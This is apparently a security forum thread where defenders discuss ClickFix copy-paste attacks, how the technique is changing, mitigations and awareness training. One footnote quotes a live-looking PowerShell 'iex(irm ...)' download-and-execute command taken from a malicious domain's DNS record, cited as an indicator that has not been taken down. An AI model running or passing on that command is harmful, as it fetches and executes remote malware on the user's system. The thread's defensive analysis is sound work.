Let's Talk About ClickFix

General
,
1

Gizmodo was serving ClickFix to both Mac and Windows users early this morning.

The success of this attack type is frankly unprecedented as an asynchronous attack. I believe the success rate is higher even than email phishing—certainly it is today. There’s a reason why every single threat intel annual report calls it out specifically as a threat vector.

I’ve written some on mitigations. IFIN even published guidance on a specific Mac technique. But ultimately, it seems most orgs are unable or unwilling to take defensive measures against this attack.

What are you doing about ClickFix in your org? What’s working, what’s not? What’s hard to sell, what’s easy?

2

ClickFix uniquely reveals a disconnect between technical professionals and general users. It is (usually) immediately apparent that taking commands from the browser and entering them in a command prompt is a bad idea.

Except, that’s exactly how you’re supposed to install Claude Code and a million other tools. The concept of the browser/system barrier does not exist for most users.

Furthermore, I would contend that most users find existing anti-bot and other security controls so annoying that ClickFix barely registers as odd. “Sure, fine, whatever, just let me get to the thing I’m trying to do.” We’ve pop-upped our way into vulnerability to this one.

3

Just a couple of thoughts:

  1. We should not only focus on Microsoft Windows. The Traffic Distribution Systems can already target multiple Operating Systems, including Mac OS, Linux and Android.[1] [2] The ones that cannot do it at the moment, will likely support it in the future to increase the number victims they can target. Consider defensive measures for all platforms that you need to defend.

  2. Realise that these payloads not only target enterprise users or systems, but also affect private individuals due to the usage of credential stealers (T1555: Credentials from Password Stores). This is an indirect threat vector to organisations due to the stolen credentials that will be used for initial access (T1078: Valid Accounts).

  3. Clickfix is mostly using T1204.004: User Execution: Malicious Copy and Paste. Preventive measures restricting user execution are effective (M1038: Execution Prevention). Implementing these requires that end-user devices are properly managed. Allowlists will cost time and effort to deploy and maintain. This is definitely a very hard sell, so make sure to back it up with a bunch of lessons learned reports (i.e. other people’s incident response reports). At $dayjob this saved the day, likely more than once.

  4. There is a lot of innovation by threat actors in these Clickfix campaigns. This impacts awareness, preventive and detective measures over time. Just to mention a couple of things: different styles and texts to trick users, different shortcuts to start execution, EtherHiding to resist takedowns, encrypted archive files, automatic server-side recompilations. Brittle or targeted measures may not be effective next month. If you (only) blocked the WIN+R shortcut a year ago, you are probably having a bad time right now. Security research can help in identifying new procedures/shortcuts/living-of-the-land executables and give defenders time to think about and deploy additional defences.

  5. We need better guidance for cybersecurity professionals on how to report new indicators and compromised websites (T1583.006: Acquire Infrastructure: Web Services). Reporting compromised websites as phishing websites may be less helpful than contacting domain owners or reporting the TDS/script download domains. Knowledge on how to pivot, extract the right infrastructure domains and knowing where to report them will likely help others, even if it is just to identify the compromise. [3]

  6. Google implementing hand gesture [4] and phone verification options in ReCAPTCHA could not have come at a worse time, in addition to the privacy issues.

  1. ErrTraffic Under the Hood: A look at the source code - Ctrl-Alt-Intel ↩︎

  2. ErrTraffic: Inside a GlitchFix Attack Panel ↩︎

  3. It is sad to see that even Clickfix domains described in public incident reports, like here, are not properly reported or taken down. $ dig -t txt app.toocleanautodetail.com → “iex(irm ’ https://toocleanautodetail.com/YkU5C7Eb?t=iOeFWdlpYIslqOE7PWn-3w’);irm ’ https://toocleanautodetail.com/YkU5C7Eb?s=2&p=1&t=iOeFWdlpYIslqOE7PWn-3w’|iex” . Granted, this KongTuke domain is protected by Cloudflare, but despite that still clean in various public threat intel sources. ↩︎

  4. Hand gesture verification  |  Google Cloud Fraud Defense  |  Google Cloud Documentation ↩︎

4

I agree! I think Windows gets attention not just because of market share but because it’s the platform where defenses exist. Besides our AppleScript fix, I’ve seen basically no options for preventing the curlbashing that Mac attacks usually use. Have you seen anything?

5

I am in the (un)fortunate position of not having any Apple Mac devices “in production” :melting_face:. Exactly this struggle is why I mentioned we should think about the other platforms.

6

Today anti-ClickFix communications are a much more useful training campaign than phishing. Orgs should be running these if they haven’t already. But, like stated above, users are increasingly normalized to copy-pasting from browser-to-terminal. Comms focusing on Mac are especially important, where controls aren’t feasible and there’s a lingering assumption of inherently malware-proof.